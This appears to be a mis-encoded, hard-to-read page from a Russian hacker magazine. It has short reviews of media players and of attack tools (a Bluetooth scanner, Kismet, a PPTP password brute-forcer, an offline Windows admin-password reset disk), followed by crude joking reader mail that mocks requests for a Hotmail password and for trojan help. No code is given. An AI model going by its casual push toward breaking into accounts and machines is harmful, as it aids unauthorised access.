KRadio � ëèøü óäîáíûé, çàòî÷åííûé ïîä KDE èíòåðôåéñ ê ôóíêöèÿì
äðàéâåðà, ïëþñ íåêîòîðûå äîïîëíèòåëüíûå âîçìîæíîñòè.
Ñðåäè íèõ, âî-ïåðâûõ, òàêàÿ âàæíàÿ øòóêà, êàê âîçìîæíîñòü çàïèñè

çâóêà â ôîðìàòû MP3 è OggVorbis. Íî ýòî ðàáîòàåò íå ñàìî ïî ñåáå, à
òðåáóåò íàëè÷èÿ áèáëèîòåê libmp3lame è libogg/libvorbis. Âòîðàÿ èíòå-
ðåñíàÿ âåùü â KRadio � ïëàãèííàÿ èëè êîìïîíåíòíàÿ àðõèòåêòóðà. Âñå
ðàçáèòî íà ôóíêöèîíàëüíûå ïëàãèíû-êîìïîíåíòû � ãëàâíîå îêíî, îê-
íî íàñòðîåê è òàê äàëåå. Åñòü òàêæå õîðîøèé ïëàãèí QuickBar, â êîòî-
ðîì îòîáðàæàþòñÿ êíîïêè (ìîæíî ñ ïèêòîãðàììàìè) âûáðàííûõ âàìè
ïðîãðàìì-êàíàëîâ.
Åñòü òàêæå ôóíêöèÿ ñäâèãà ïî âðåìåíè (Timeshifter), êîãäà ïåðåäà÷à çà-
ïèñûâàåòñÿ ñíà÷àëà â áîëüøîé áóôåð, à ïîòîì âîñïðîèçâîäèòñÿ. Ýòî
äàåò âîçìîæíîñòü èñïîëüçîâàòü ïðè ïðîñëóøèâàíèè ðàäèî ñâîåîáðàç-
íûé ðåæèì «ïàóçû» (êíîïêà Start/Stop Sleep Countdown). Èç ôóíêöèé,
îòíîñÿùèõñÿ êî âðåìåíè, â KRadio ïðèñóòñòâóåò åùå áóäèëüíèê, ïîçâî-
ëÿþùèé âêëþ÷àòü çàäàííóþ ñòàíöèþ â îïðåäåëåííîå âðåìÿ. Âïðî÷åì
òàì åñòü íåñêîëüêî âàðèàíòîâ: íå òîëüêî âîñïðîèçâåäåíèå ïî áóäèëüíè-
êó, íî è ïðåêðàùåíèå âîñïðîèçâåäåíèÿ, à òàêæå çàïèñü â ôàéë è îñòà-
íîâêà çàïèñè. Ïîëíàÿ àâòîìàòèçàöèÿ.
Îáû÷íûé ðåæèì ðàáîòû KRadio «âèñèò» â òðåå, ïîòðåáëÿÿ 34 ìåãàáàé-
òà â Vm (à Amarok ïî÷òè â òðè ðàçà áîëüøå). Ìîæåò óïðàâëÿòüñÿ ïóëü-
òîì äèñòàíöèîííîãî óïðàâëåíèÿ ÷åðåç Lirc. 

GXine
POSIX (*BSD, Linux)
Ðàçìåð: 1,0 Ìá
http://slackware.perespim.ru/pub/slackware-10.1/source/xap/gxine/
Ëèöåíçèÿ: GNU GPL

Ïðè âîñïðîèçâåäåíèè DVD ìíå âàæíà ïîääåðæêà DVD-ìåíþ, à ïîñêîëüêó
Mplayer íå ïîääåðæèâàåò DVD-ìåíþ, ïðèõîäèòñÿ èñïîëüçîâàòü äðóãîé
ïëååð íà äâèæêå Xine, â êîòîðîì òàêàÿ âîçìîæíîñòü ðåàëèçîâàíà. Âûáîð,
îñíîâàííûõ íà Xine ïëååðîâ, äîñòàòî÷íî âåëèê. Â KDE ñàìûì èçâåñòíûì
òàêèì ÿâëÿåòñÿ Kaffeine, à âîò àëüòåðíàòèâîé åìó ïî÷åìó-òî ñ÷èòàåòñÿ
Xine-UI ñ åãî ñòðàííûì íàáîðîì âèäæåòîâ. Â GNOME åñòü åùå Totem, îä-
íàêî Totem ïðåäîñòàâëÿåò êðàéíå óïðîùåííûé èíòåðôåéñ ê íàñòðîéêàì
äâèæêà Xine, à ìíå òàêîå íå ïîäõîäèò. Íî ñóùåñòâóåò GXine � äîáðîòíûé,
ñäåëàííûé íà GTK+2 ôðîíò-ýíä ê Xine. ×òî â íåì õîðîøåãî?
Äîñòóï êî âñåì îïöèÿì Xine (âîçìîæíî, äàæå áîëåå ïîäðîáíûé, ÷åì â
Kaffeine). Íàñòðîéêà ãîðÿ÷èõ êëàâèø íà ïóíêòû ìåíþ. Ýôôåêòû è
ôèëüòðû, îïÿòü-òàêè ïðåäîñòàâëÿåìûå äâèæêîì Xine. Ãèáêàÿ ñèñòåìà
çàêëàäîê, ïîçâîëÿþùàÿ ñäåëàòü çàêëàäêó íà òåêóùèé ôèëüì è òåêóùåå
âðåìÿ. Ïëþñ äîñòàòî÷íî ñòàáèëüíûé èíòåðôåéñ (çàïîìèíàþòñÿ âñå
íàñòðîéêè, à íå âûáî-
ðî÷íî, êàê â Xine-UI).
Ïðàâäà, ÿ çàìåòèë
îäèí ãëþê � åñëè
ìíîãî ïåðåìàòûâàòü
DVD ñ ïîìîùüþ ïîë-
çóíêà ïðîêðóòêè, òî
GXine ìîæåò ïåðåñ-
òàòü îòêëèêàòüñÿ íà
ñèãíàëû ìûøè è êëà-
âèàòóðû, õîòÿ è áóäåò
ïðîäîëæàòü ïîêàçû-
âàòü âèäåî. Â òàêîì
ñëó÷àå îñòàåòñÿ ðàçâå
÷òî çàâåðøèòü ïðî-
öåññ GXine è ïåðåçà-
ïóñòèòü ýòîò ïëååð. Íî
â öåëîì Gxine � îäèí
èç ëó÷øèõ ïëååðîâ íà
äâèæêå Xine.



BT-Devices Viewer v.0.19a
Windows
Freeware
Size: 340 Êá
www.bluejack.ru

Áëþäæåêèíã ðàçâèâàåòñÿ. Ïðè÷åì íàñòîëüêî áûñòðî è áóðíî, ÷òî ïîðîé äà-
æå íå óñïåâàåøü çà íèì óñëåäèòü. Åùå íåäàâíî ìû îáñóæäàëè, íàñêîëüêî
ýòî çäîðîâî � ñêà÷àòü ôàéëû ñ ÷óæîãî òåëåôîíà, ïîñëå ÷åãî ñ èíòåðåñîì
ðàññìàòðèâàòü ïðèâàòíûå ôîòêè è êîíòàêòû. È âîò óæå ñåãîäíÿ âñå ïîìå-
íÿëîñü, ñòàâ íàìíîãî ñåðüåçíåå. Bluetooth-ìîäóëåì îñíàùàþòñÿ âñå áîëü-
øå è áîëüøå ñàìûõ ðàçíîîáðàçíûõ óñòðîéñòâ, íà÷èíàÿ îò ÊÏÊ è çàêàí÷è-
âàÿ MP3-ïëååðàìè ñ áåñïðîâîäíûìè íàóøíèêàìè. Òàêîå ðàçíîîáðàçèå óñò-
ðîéñòâ, ñ îäíîé ñòîðîíû, ïðåäîñòàâëÿþò õàêåðàì áîëüøå âîçìîæíîñòåé, íî
ñ äðóãîé � ìàññó íîâûõ ñëîæíîñòåé è ïðîáëåì. Íå íàäî îáúÿñíÿòü, ÷òî ïîä-
õîäû êî âçëîìó äðåâíåãî ìîáèëüíèêà (SonyEricsson T610, íàïðèìåð) è íà-
âîðî÷åííîãî ÊÏÊ íåñêîëüêî îòëè÷àþòñÿ. Äà è êàê íå çàïóòàòüñÿ â òîé ìàñ-

ñå óñòðîéñòâ, êîòîðûå òû ðàçîì ìîæåøü íàéòè, ïðîñêàíèðîâàâ ýôèð â ëþä-
íîì ìåñòå? Çäåñü-òî òåáå è ïðèãîäèòñÿ óòèëèòà BT-Devices Viewer v.0.19a,
íàïèñàííàÿ íàøèìè ñîîòå÷åñòâåííèêàìè ñ ñàéòà www.bluejack.ru. Ýòà êðî-
õîòíàÿ òóëçà âåäåò æóðíàë, íàéäåííûõ ñ ïîìîùüþ BT-ìîäóëÿ óñòðîéñòâ,
ñîáèðàåò î íèõ èíôîðìàöèè è âûâîäèò åå â óäîáíîé ôîðìå íà ýêðàí. Èäåí-
òèôèêàòîð óñòðîéñòâà (èìÿ), óíèêàëüíûé MAC-àäðåñ, âðåìÿ îáíàðóæåíèÿ,
êëàññ óñòðîéñòâà � òàêîé íàáîð÷èê óæå âïå÷àòëÿåò, ïðàâäà? À âåäü ïðîã-
ðàììà ïîêàçûâàåò åùå, è êàêîå èìåííî óñòðîéñòâî áûëî íàéäåíî. Äà, òî-
æå ñàìîå ìîæíî ñäåëàòü è âðó÷íóþ, «ïðîáèâ» MAC-àäðåñ äåâàéñà â Ñåòè,
íî ñ ïîÿâëåíèåì BT-Devices Viewer òàêàÿ íåîáõîäèìîñòü îòïàäàåò. Â îò÷å-
òå, ñîñòàâëåííîì ïðîãðàììîé, ÷åòêî îáîçíà÷åíî, ÿâëÿåòñÿ ëè äåâàéñ ñâå-
æåé Nokia'åé èëè æå êàêèì-íèáóäü íàëàäîííèêîì. Çíàþùèå ëþäè, âîçìîæ-
íî, íàïîìíÿò ìíå î ñóùåñòâîâàíèè ñïåöèàëèçèðîâàííûõ ïðîã, êîòîðûå ïîç-
âîëÿþò çàìàñêèðîâàòü ñâîé äåâàéñ ïîä êàêîé-ëèáî äðóãîé. Çà ïðèìåðîì
äàëåêî õîäèòü íå íàäî: âçÿòü õîòÿ áû èçâåñòíóþ òóëçó äëÿ Palm'îâ �
BTClass (www.mulliner.org). Îäíàêî íè îíà, íè ëþáàÿ óòèëèòà íå ñìîæåò
ñáèòü ñ òîëêó èäåíòèôèêàöèîííóþ ñèñòåìó BT-Devices Viewer, êîòîðàÿ âñå
ðàâíî îïðåäåëèò èñòèííîå íàèìåíîâàíèå Bluetooth-óñòðîéñòâà.

Stepan Ilin aka Step
step@gameland.ru

X-TOOLS



Kismet-2005-08-R1
Linux
GNU GPL
Size: 924 Êá
www.bluejack.ru

Bluetooth � ýòî, áåçóñëîâíî, õîðîøî. Íî âñå æå çíà÷èòåëüíî áîëüøèé
èíòåðåñ ïðåäñòàâëÿþò áåñïðîâîäíûå ñåòè. Íó, êàê ìîæíî ïðîéòè ìèìî
òàêîãî ëàêîìñòâà, êàê áåñïëàòíûé èíåò (èíîãäà ñ øèðî÷àéøèì êàíà-
ëîì), êîíôèäåíöèàëüíîé èíôîðìàöèè èëè, åñëè îñîáåííî ïîâåçåò,
ìîùíîé ñèñòåìû ðàñïðåäåëåííûõ âû÷èñëåíèé (êëàñòåðà)? Äà íèêàê� :)
Ëþáàÿ àòàêà íà áåñïðîâîäíûå ñåòè íà÷èíàåòñÿ ñ èõ îáíàðóæåíèÿ. Õàêå-
ðó íåîáõîäèìî êàêèì-òî îáðàçîì ïðîñêàíèðîâàòü ýôèð è ïîéìàòü ñèãíàë
îò íàõîäÿùèõñÿ ïîáëèçîñòè òî÷åê äîñòóïà. Îáû÷íî äëÿ ýòîãî èñïîëüçó-
þò íîóòáóê, Wi-Fi àäàïòåð, ðàáîòàþùèé â ðàçíûõ äèàïàçîíàõ, âñåñòîðîí-
íþþ omni-àíòåííó è ìåãàèçâåñòíóþ ïðîãðàììó Kismet. Ïîñëåäíÿÿ ïðåäñ-
òàâëÿåò ñîáîé óíèâåðñàëüíîå ñðåäñòâî è âêëþ÷àåò â ñåáÿ äåòåêòîð
802.11 (a,b,g) áåñïðîâîäíûõ ñåòåé è ñíèôåð ñåòåâûõ ïàêåòîâ. Â îòëè÷èå
îò ìíîãèõ äðóãèõ ïðîãðàìì, íàïðÿìóþ ñâÿçàííûõ ñ Wi-Fi, Kismet ïîääåð-
æèâàåò áîëåå 20 òèïîâ êàðò è, âîîáùå ãîâîðÿ, ñîâìåñòèìà ñ ëþáûì äå-
âàéñîì, ïîääåðæèâàþùèì raw monitoring (rfmon) ðåæèì. Ñðàçó ïîñëå çà-
ïóñêà, óòèëèòà íà÷èíàåò ïàññèâíî ñêàíèðîâàòü ýôèð è ñîáèðàòü ïåðåäà-
âàåìûå «ïî âîçäóõó» ïàêåòû. Ïðèçíàòüñÿ, â ÷èñòîì âèäå îò ýòèõ ïàêåòîâ
òîëêó ìàëî. Íî çàòî Kismet óìååò àíàëèçèðîâàòü èõ è âûäàâàòü ìàññó ïî-
ëåçíîé èíôîðìàöèè. Ïåðåäâèãàÿñü ïî ãîðîäó, òû ëåãêî ñìîæåøü îáíàðó-
æèòü Wi-Fi ñåòè, àâòîìàòè÷åñêè çàíåñòè èõ ðàñïîëîæåíèå â áàçó äàííûõ
(íàïðèìåð, îáîçíà÷èòü íà êàðòå, èñïîëüçóÿ êîîðäèíàòû ñ GPS-ìîäóëÿ),
îïðåäåëèòü äèàïàçîíû èñïîëüçóåìûõ â ëîêàëêå IP-àäðåñîâ è ò.ä. Îò
Kismet íå óñêîëüçíóò äàæå òå òî÷êè äîñòóïà, êîòîðûå ðàáîòàþò â òàê íà-
çûâàåìîì ñêðûòîì (hidden) ðåæèìå. À â íåêîòîðûõ ñëó÷àÿõ ïðîãà âûÿñíèò
äàæå êîíêðåòíóþ ìîäåëü
èñïîëüçóåìîãî îáîðóäîâà-
íèÿ, ÷òî, åñòåñòâåííî, ïðè-
ãîäèòñÿ äëÿ âçëîìà. Íî è
ýòî åùå íå âñå. Kismet âïå-
÷àòëèò òåáÿ åùå áîëüøå,
êîãäà óçíàåøü, ÷òî ìíîãèå
óñïåøíî èñïîëüçóþò åå íå
äëÿ àòàêè, à äëÿ çàùèòû. À
ïî÷åìó, ñîáñòâåííî, íåò?
Åñëè îíà òàê õîðîøî ñêàíè-
ðóåò ýôèð, çíà÷èò, åå ýô-
ôåêòèâíî ìîæíî ïðèìå-
íÿòü äëÿ ïîèñêà ïîñòîðîí-
íèõ äåâàéñîâ. Àíàëèçèðóÿ
äàííûå ñ ðàçëè÷íûõ òî÷åê
äîñòóïà/Wi-Fi êàðò è èñ-
ïîëüçóÿ ñâÿçêó Kismet +
Snort, ìîæíî íàëàäèòü òà-
êóþ çàùèòó, êîòîðàÿ ñìî-
æåò äàòü îòïîð äàæå îïûò-
íîìó õàêåðó.

THC-pptp-bruter 0.1.4
Linux
GNU GPL
Size: 93 Êá
www.thc.org

Êòî ñêàçàë, ÷òî ïîäîáðàòü ïàðîëü ê VPN-àêêàóíòó íåâîçìîæíî èç-çà îñî-
áåííîñòåé àâòîðèçàöèè? ×óøü! Ïàðíè èç âñåìèðíî-èçâåñòíîé õàêåðñêîé
ãðóïïû THC óæå äàâíî äîêàçàëè îáðàòíîå, âûïóñòèâ public-ðåëèç òóëçû
THC-pptp-bruter. Äàííàÿ ïðîãà ïðåäñòàâëÿåò ñîáîé óçêîñïåöèàëèçèðî-
âàííûé áðóòôîðñåð äëÿ PPTP-ïðîòîêîëà (1723/TCP), êîòîðûé äåéñòâè-
òåëüíî ðàáîòàåò! :) Ïðàâäà, òîëüêî â òîì ñëó÷àå, êîãäà ñåðâåð èñïîëüçó-
þò àâòîðèçàöèþ Microsoft Window Chap V2. Ñïåøó îáðàäîâàòü: ÷àùå âñå-
ãî èñïîëüçóåòñÿ èìåííî îíà, ïðè÷åì êàê íà Windows ñåðâåðàõ, òàê è íà
ñåðüåçíûõ CISCO-ñèñòåìàõ. ×òî êàñàåòñÿ ñòàðîé Window Chap V1, òî åå
ïîääåðæêà, âîçìîæíî, ïîÿâèòñÿ â ñëåäóþùèõ âåðñèÿõ ïðîãðàììû.
Ïðîáëåìà ðåàëèçàöèè áðóòôîðñà çàêëþ÷àåòñÿ â òîì, ÷òî Microsoft íàìåðåí-
íî ðåàëèçîâàëà â PPTP-ïðîòîêîëå ñèñòåìó çàùèòû ïðîòèâ áðóòôîðñà. Åñëè
íå âäàâàòüñÿ â ïîäðîáíîñòè, òî åå ñìûñë çàêëþ÷àëñÿ â óñòàíîâêå îãðàíè÷å-
íèÿ: «çà îäíó ñåêóíäó ìîæíî ââåñòè òîëüêî îäèí ïàðîëü». Åñòåñòâåííî, ÷òî
ñ òàêîé ñêîðîñòüþ ïåðåáîðà õàêåð äàëåêî íå óåäåò è øàíñû ïîäîáðàòü ïà-
ðîëü áóäóò ñâåäåíû ê íóëþ. Îäíàêî â ðåàëèçàöèè ïî òðàäèöèè íå îáîøëîñü

áåç èçúÿíîâ, êîòîðûå áûëè îïóáëèêîâàíû íà áàãòðàêàõ, à ãðóïïà THC óñ-
ïåøíî çàþçàëà èõ â êîíêðåòíîé ïðîãðàììå. Ñ ïîìîùüþ THC-pptp-bruter
ìîæíî îáîéòè îãðàíè÷åíèÿ, óñòàíîâëåííûå Microsoft, è äîáèòüñÿ ñêîðîñòè
áîëåå ÷åì 300�400 ïàðîëåé â ñåêóíäó. Ýòà öèôðà, åñòåñòâåííî, ñèëüíî
âàðüèðóåòñÿ â çàâèñèìîñòè îò çàäåðæêè â äîñòàâêå ïàêåòîâ äî ñåðâåðà,
òàê ÷òî íàèáîëüøåé ñêîðîñòè ìîæíî äîáèòüñÿ â ëîêàëüíîé ñåòè. Îãîð÷àåò
ëèøü òî, ÷òî äëÿ ðàáîòû pptp-bruter íåîáõîäèìà ïàðà ñòîðîííèõ áèáëèîòåê.
Áåç íèõ ïðîãðàììà ïîïðîñòó íå ñêîìïèëèðóåòñÿ (ñìîòðè ñêðèíøîò).

Offline NT Password & 
Registry Editor
Linux
GNU GPL
Size: 3 Ìá (boot-cd)
http://home.eunet.no/~pnordahl/ntpasswd/

Ïðîíèêíîâåíèå â óäàëåííóþ ñèñòåìó � ýòî èñêóññòâî. Íî ëîêàëüíûé
âçëîì ìàøèíû, êîãäà îíà íàõîäèòñÿ íåïîñðåäñòâåííî ïåðåä òîáîé, �
ýòî ñîâñåì äðóãàÿ èñòîðèÿ. Àäìèíèñòðàòîðû î÷åíü ÷àñòî îãðàíè÷èâàþò
ïðàâà îáû÷íûõ ïîëüçîâàòåëåé è òåì áîëåå ãîñòåâîé ó÷åòíîé çàïèñè, ÷òî
ïðèíîñèò ìàññó íåóäîáñòâ. Íà÷èíàåøü óñòàíàâëèâàòü ïðîãó � îáëîì.
Ïûòàåøüñÿ çàéòè â ñèñòåìíóþ ïàïêó âèíäû � òà æå èñòîðèÿ. Òóò-òî è
íà÷èíàåøü çàäóìûâàòüñÿ, êàêèì îáðàçîì ýòó íåñïðàâåäëèâîñòü ìîæíî
èñïðàâèòü. Îòâåò ïðîñò � çàâëàäåòü àêêàóíòîì àäìèíèñòðàòîðà.
Ñðàçó ñêàæó: åñëè ìàøèíà ïîäêëþ÷åíà â ñåòü ñ êîíòðîëëåðîì äîìåíà èëè
ðàáîòàþùåé ñëóæáîé êàòàëîãîâ (Active Directory), òî ïðûãíóòü âûøå ãîëîâû
ìîæíî äàæå íå ïûòàòüñÿ. Èç ýòîé çàòåè âñå ðàâíî íè÷åãî õîðîøåãî íå âûé-
äåò, òàê êàê äàííûå îá ó÷åòíûõ çàïèñÿõ â ýòîì ñëó÷àå öåíòðàëèçîâàííî
õðàíÿòñÿ íà ñåðâåðå, è äîáðàòüñÿ äî íèõ òû, ñêîðåå âñåãî, íå ñìîæåøü.
Ñîâñåì äðóãîå äåëî, êîãäà êîìïüþòåð ðàáîòàåò â ðàáî÷åé ãðóïïå èëè âîîá-
ùå íå ïîäêëþ÷åí ê ñåòè. Òóò óæå, êàê ãîâîðèòñÿ, äåëî â øëÿïå. Äîñòàòî÷íî
äî çàãðóçêè âèíäû ñ÷èòàòü SAM-ôàéë ñ ñèñòåìíîãî ðàçäåëà è âûòàùèòü îò-
òóäà çàøèôðîâàííûé ïàññ àäìèíèñòðàòîðà. Èëè ïàðîëü àäìèíèñòðàòîðà
ìîæíî ïîïðîñòó îáíóëèòü. Ýòà çàäà÷à ïðåâðàùàåòñÿ â ñóùèé ïóñòÿê, åñëè
ïîä ðóêîé åñòü Offline NT Password & Registry Editor. Ïàêåò ðàñïðîñòðàíÿåò-
ñÿ â âèäå îáðàçà ìèíèàòþðíîé Linux-based îïåðàöèîííîé ñèñòåìû, êîòî-
ðóþ íóæíî çàïèñàòü íà CD è èñïîëüçîâàòü âî âðåìÿ çàãðóçêè êîìïüþòåðà.
Çàãðóçèâøèñü ñ òàêîãî äèñêà, òû óâèäèøü ñïåöèàëüíóþ êîíñîëüíóþ îáî-
ëî÷êó, ñ ïîìîùüþ êîòîðîé è îñóùåñòâëÿåòñÿ òðåáóåìîå äåéñòâèå. Íóæíî
ëèøü âíèìàòåëüíî èçó÷èòü èíñòðóêöèþ è ïðàâèëüíî óêàçàòü ïàðàìåòðû
Windows-ñèñòåìû � ïðîãà ñðàçó ïðåäëîæèò îáíóëèòü çàâåòíûé ïàðîëü 
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From: Nikita Lozhkin [dreamnik@mail.ru]
Subj: Óäàðüòå!
Ëþäè, à ðàáîòàåòå â îäíîì çäàíèè ñ ðåäàêöèåé Xakep Special ? Åñëè äà,
òî ÓÄÀÐÜÒÅ èõ ðåäàêòîðà CD !
Çàðàíåå ñïàñèáî!
P.S.  à ëó÷øå äâà ðàçà!
Re: Ïðèâåò! Ðàáîòàåì â îäíîì çäàíèè, ýòî òî÷íî. Ê ñîæàëåíèþ, óäà-
ðèòü åãî ïðÿìî ñåé÷àñ íå ïîëó÷èòñÿ, ïîñêîëüêó â äàííûé ìîìåíò îí
ïðåäñåäàòåëüñòâóåò íà î÷åðåäíîé ñåññèè ÞÍÅÑÊÎ ïî «ïðîáëåìàì
ïîäðîñòêîâîé ìàñòóðáàöèè è èíûõ ñïîñîáîâ äîáðà÷íîãî óäîâëåòâîðå-
íèÿ ñåêñóàëüíîé ïîòðåáíîñòè». Êñòàòè, îäíàæäû êîìàíäà äèçàéíåðîâ
Õàêåðà ïîáèëà åãî çà òî, ÷òî îí ñ ïîìîùüþ èì æå èçîáðåòåííîãî ôèá-
ðîîïòè÷åñêîãî ïîðíîñêîïà ïîäãëÿäûâàë çà ëèòåðàòóðíûì ðåäàêòî-
ðîì, äà åùå è âûëîæèë ýòî âèäåî íà ÷åøñêèé õîóì-ìåéä ïîðíîðåñóðñ.
Òàê âîò, ïîáèëè îíè åãî ðåçèíîâûìè øëàíãàìè, à îí â÷èíèë èì èñê â
Ãààãñêèé òðèáóíàë. Òàê îíè ïîêà è ñóäÿòñÿ. Ïðàâäà, àäâîêàòøà îò íå-
ãî îòêàçàëàñü (âî âðåìÿ çàñåäàíèÿ îí êàêèì-òî îáðàçîì ïðîíèê òåëå-
ôîíîì ê íåé ïîä þáêó è òóò æå âûëîæèë ôîòî íà òîò æå ñàéò), íî îí
è ñàì íåïëîõî çàùèùàåòñÿ.
P.S Ïîñëåäíèé àïäåéò ïåðåä ñäà÷åé íîìåðà:
Ñêàé ïðî÷èòàë ýòî ïèñüìî è ñ÷èòàåò, ÷òî ó òåáÿ î÷åíü ñåêñóàëüíàÿ ôà-
ìèëèÿ � âåäü îíà ïðîèñõîäèò îò ïðåäìåòà, êîòîðûé áåðóò â ðîò! Ñðî÷-
íî íàïèøè åìó íà ëè÷íóþ ïî÷òó.

From: Èâàí Ãîëîâèíîâ [djgrid@mail.ru]
Subj: Âîññòàíîâëåíèå
Ïðèâåò õàêåðû.
Òàêàÿ ïðîáëåìà; êàê ìîæíî âîññòàíîâèòü ôàéëû íà ôîðìàòèðîâàííîì
äèñêå. Ñàì ÿ äåëàþ ìóçûêó è èñõîäíûå ôàéëû. ÄÀ, êàê-òî âû ïèñàëè
÷òîá âàì ïðèñûëàëè ìóçûêó, ñ óäîâîëüñòâèåì, íî ïîçæå.
Ðåáÿòà åñëè íå çàòðóäíèò îòâåòüòå íà ìîé mail-DJGRID@mail.ru
Íó ìîé ìóçîí íà REALMUSIC.RU/DJGRID
Ñ óâàæåíèåì DJ GRID.
Re: Éî, äèäæåé! Ïàðó ïëàñòèíîê � ïîòîì ñòðèïòèç, ïîñêîëüêó íå ìîãó ÿ
ïîíÿòü, çà÷åì ôîðìàòèðîâàòü, åñëè ñîáðàëñÿ ïîòîì âîññòàíàâëèâàòü
Îòôîðìàòèðîâàë � çíà÷èò òàêîâà èõ ñóäüáà, çíà÷èò � òóäà èì è äîðîãà,
âåäü ôîðìàòèðîâàíèå äèñêà � ýòî îòâåòñòâåííûé, ñåðüåçíûé øàã è â
ìîðàëüíîì ñòàíîâëåíèè êîìïüþòåðùèêà åãî ìîæíî ñðàâíèòü ñ ïîòåðåé
äåâñòâåííîñòè. Âîîáùå-òî, âîññòàíîâèòü ôàéëû íà íîðìàëüíî îòôîðìà-
òèðîâàííîì äèñêå � âåëèêèé ãåìîððîé åñòü. Âîò, íàïðèìåð, êîãäà ìû
âñå áûëè ìîëîäûìè, ñóùåñòâîâàëà ïðîãà Norton Safe Format, ïîñëå ôîð-
ìàòèðîâàíèÿ êîòîðîé âñå î÷åíü êðóòî ïîäíèìàëîñü èç ìåðòâûõ. Ñåé÷àñ
åñòü òåõíîëîãèè âîññòàíîâëåíèÿ èíôîðìàöèè, î êîòîðûõ òû ìîæåøü
ïðî÷åòàòü â íàøåì ñïåöâûïóñêå (http://www.xakep.ru/magazine/xs/046/).
Ìóçûêó ïðèñûëàé, âûëîæèì åå íà äèñê (íà âñåîáùåå îáîçðåíèå), à òî
÷òî-òî íàðîä ðàññòðàèâàåòñÿ, êîãäà ÿ ñòàâëþ èì «Ðîãàòûõ Òðóïîåäîâ»
èëè «Anal Bleeding». Ñòðàííûå, ïîäîçðèòåëüíûå ëþäè :(. 

E-MAIL-units
ÏÐÈÂÅÒÑÒÂÓÞ, ÄÎÐÎÃÈÅ ÍÀØÅÌÓ ÊÎËËÅÊÒÈÂÍÎÌÓ ÐÅÄÀÊÖÈÎÍÍÎÌÓ ÑÅÐÄÖÓ ÏÈÑÜÌÎÏÈÑÅÒÅËÈ È
ÊÐÅÀÒÈÂÙÈÊÈ! ÅÑËÈ ×ÅÑÒÍÎ, Â ÝÒÎÒ ÐÀÇ ß ÈÑÏÐÀÂËßË ÍÅÊÎÒÎÐÛÅ (ÍÅ ÂÑÅ, ×ÒÎÁÛ ÍÅ ÒÅÐßÒÜ ÝÔÔÅÊÒÀ)
ÎÐÔÎÃÐÀÔÈ×ÅÑÊÈÅ ÎØÈÁÊÈ Â ÂÀØÈÕ ÏÈÑÜÌÀÕ. ÍÈ×ÅÃÎ ÍÅ ÌÎÃÓ Ñ ÑÎÁÎÉ ÏÎÄÅËÀÒÜ, ÈÍÀ×Å ÁÎÞÑÜ, ×ÒÎ
ÄÀÆÅ ÁÓÌÀÃÀ ÝÒÎÃÎ ÍÅ ÑÒÅÐÏÈÒ :). ÍÓ ÄÀ ÍÅ ÁÓÄÅÌ Î ÃÐÓÑÒÍÎÌ. ÏÎÅÕÀËÈ ×ÈÒÀÒÜ!

ÂÐÀ×ÒÅÐÀÏÅÂÒ
Âñêðûòèå ïèñåì ïðîâåë 

Dr.Klouniz (magazine@real.xakep.ru)
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From: User anonymos
Subj:
Priwet! Budu ochen preznatelen esli podskazhite kak uznat password na
www.hotmail.com (Moja sestra podozrewajet swojego parnja w chem to ..i
hochet uznat u nego parol). Ja skazal chto pomogu. a sam zhe nicherta w
etom ne smyslju :(
Zarannje blagodaren! S uwazhenijem Andrej
Re: Æèë-áûë íà ñâåòå ìàëåíüêèé êàðäåð. È ãîâîðèëà åìó ìàìà: «Ó÷è,
ñûíîê, ðóññêèå áóêâû, íå òî òû ïðîñëûâåøü ðèïïåðîì, äàæå íå áóäó÷è
èì! Ó÷è, ñûíîê, áóêâû êèðèëëèöû è ó÷èñü ðóñèôèöèðîâàòü ñâîè îñè,
âåäü àìåðèêàíñêóþ âèíäó äëÿ ñâîèõ ÷åðíûõ äåë òû ñìîæåøü êðóòèòü íà
âèðòóàëüíîé ìàøèíå! Çàïîìíè, ñûíîê, ÷òî na translyte pishut tolko
kidaly!». Êîãäà îí íå ñëóøàëñÿ, îíà ñòàâèëà åãî â óãîë è áèëà ïî ãóáàì
êîëîäîé áåëîãî ïëàñòèêà. Ê ÷åìó ýòî ÿ? À ê òîìó, ÷òî ïèñüìî òâîå ÿ îñè-
ëèë, íî âåñüìà ôðàãìåíòàðíî. Èòàê, â ÷åì æå ïëîõîì ñåñòðà ïîäîçðåâà-
åò ñâîåãî ïàðíÿ? Ìîæåò áûòü, â òîðãîâëå îðãàíàìè íåðîäèâøèõñÿ äå-
òåé? Â ïîåäàíèè òðóïîâ ìåðòâûõ æèâîòíûõ? Â ïîäæîãàõ íå ×åðêèçîâñ-
êîì ðûíêå? Â òîì, ÷òî îí ñúåë åå àðîìàòíîå ìûëî â âèäå êóñî÷êà àðáó-
çà? Õî÷åò ëè îíà îá ýòîì ïîãîâîðèòü? Ãîòîâà ëè îíà ê ïñèõîòåðàïèè ñ
èñïîëüçîâàíèåì Ýðèêñîíîâñêîãî ãèïíîçà? Íåîáõîäèìî ïðîÿñíèòü âñå
ýòè âîïðîñû.

From: Den [denmoroz@quake.ru]
Subj: Ïîìîãèòå!
Ïèøó òðîÿí íà Delphi. Âîçíèê âîïðîñ: çíàþ â WinSock åñòü ôóíêöèÿ lis-
ten. Êàê åå èñïîëüçîâàòü? (Åñëè ìîæíî ñ ïðèìåðîì )
Re: Çà÷åì òåáå ýòî, äðóã ìîé! Ïèñàòü òðîÿíû � ýòî íå ïóòü Äàî. Ðàñ-
ñëàáüñÿ! Íå íàïðÿãàéñÿ � è áóäåò òåáå äàíî, íå èùè � è îáðÿùåøü. À
åñëè áóäåøü íàïðÿãàòüñÿ � îïïàíüêè òåáå (ñ). Âîò, íàïðèìåð, â
wininet.dll åñòü ôóíêöèÿ InternetCrackUrl. Èíòåðåñíî? Õî÷åøü ìåíÿ ñïðî-
ñèòü î íåé? À âîò íå ñêàæó, èáî ÷èòàé äîêè, îíè � ðóëåç, êàê ãîâîðèò
äðóãàÿ ìóäðîñòü.  Êñòàòè, òû â êóðñå ñòàòüè 273? Äà, ïèñàòü òðîÿíû �
î÷åíü ïëîõî è ìû òàêèìè âåùàìè íå çàíèìàåìñÿ è çàíèìàòüñÿ íå õî-
òèì, ïîñêîëüêó íå õàêåðû, à æóðíàëèñòû. Ó ìåíÿ, íàïðèìåð, âîîáùå íåò
êîìïüþòåðà, ó ìåíÿ íà íåãî àëëåðãèÿ. Ýòîò îòâåò ÿ òåáå ïèøó íà ìåõà-
íè÷åñêîé ìàøèíêå «ßòðàíü», ïîñêîëüêó íà ýëåêòðè÷åñêèå ïîëÿ ó ìåíÿ
